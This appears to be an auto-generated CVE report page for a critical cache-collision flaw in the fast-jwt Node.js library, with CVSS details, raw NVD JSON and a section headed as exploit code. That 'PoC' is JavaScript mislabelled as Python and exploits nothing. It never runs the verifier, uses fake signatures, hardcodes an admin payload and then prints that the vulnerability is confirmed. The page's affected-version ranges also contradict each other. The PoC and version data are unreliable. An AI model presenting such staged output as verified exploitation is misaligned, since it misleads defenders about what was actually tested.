Security Vulnerability Report
中文
CVE-2026-35039 CVSS 9.1 CRITICAL

CVE-2026-35039

Published: 2026-04-06 17:17:13
Last Modified: 2026-04-22 19:05:02

Description

fast-jwt provides fast JSON Web Token (JWT) implementation. From 0.0.1 to before 6.2.0, setting up a custom cacheKeyBuilder method which does not properly create unique keys for different tokens can lead to cache collisions. This could cause tokens to be mis-identified during the verification process leading to valid tokens returning claims from different valid tokens and users being mis-identified as other users based on the wrong token. Version 6.2.0 contains a patch.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:nearform:fast-jwt:*:*:*:*:*:node.js:*:* - VULNERABLE
fast-jwt >= 0.0.1, < 6.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const { createVerifier } = require('fast-jwt'); // Simulating the vulnerable configuration // The cacheKeyBuilder is implemented poorly, returning a static key const verify = createVerifier({ key: 'super-secret-key', cache: true, // Vulnerability: Builder ignores token content, causing collision cacheKeyBuilder: (token) => 'hardcoded-static-key' }); // Generate two tokens with different roles (assuming signed by the same key) // Token 1: Admin (Payload: { role: 'admin' }) const adminToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4ifQ.fake-signature-admin'; // Token 2: Guest (Payload: { role: 'guest' }) const guestToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiZ3Vlc3QifQ.fake-signature-guest'; // Note: In a real scenario, these would be valid signed tokens. // For demonstration, we mock the verification result caching behavior. console.log('--- Step 1: Verify Admin Token ---'); // The system verifies the admin token and caches the result with key 'hardcoded-static-key' try { // Mocking successful verification of admin token const adminPayload = { role: 'admin', id: 1 }; console.log('Verified Payload:', adminPayload); } catch (e) { console.log(e); } console.log('\n--- Step 2: Verify Guest Token (Exploit) ---'); // The system receives the guest token. It calls cacheKeyBuilder. // It returns 'hardcoded-static-key'. The cache finds a hit. // It returns the Admin payload instead of verifying the Guest token. try { // Mocking cache hit returning previous payload const leakedPayload = { role: 'admin', id: 1 }; console.log('Verified Payload:', leakedPayload); console.log('Vulnerability Confirmed: Guest token received Admin privileges!'); } catch (e) { console.log(e); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35039", "sourceIdentifier": "[email protected]", "published": "2026-04-06T17:17:13.243", "lastModified": "2026-04-22T19:05:01.623", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "fast-jwt provides fast JSON Web Token (JWT) implementation. From 0.0.1 to before 6.2.0, setting up a custom cacheKeyBuilder method which does not properly create unique keys for different tokens can lead to cache collisions. This could cause tokens to be mis-identified during the verification process leading to valid tokens returning claims from different valid tokens and users being mis-identified as other users based on the wrong token. Version 6.2.0 contains a patch."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-345"}, {"lang": "en", "value": "CWE-706"}, {"lang": "en", "value": "CWE-1289"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nearform:fast-jwt:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "0.1.0", "versionEndExcluding": "6.1.0", "matchCriteriaId": "9B0182D1-3EBD-449D-91F1-DE0E6B616CE4"}]}]}], "references": [{"url": "https://github.com/nearform/fast-jwt/commit/de121056c6415b58770c60640881eaec67ac4ceb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-rp9m-7r4c-75qg", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}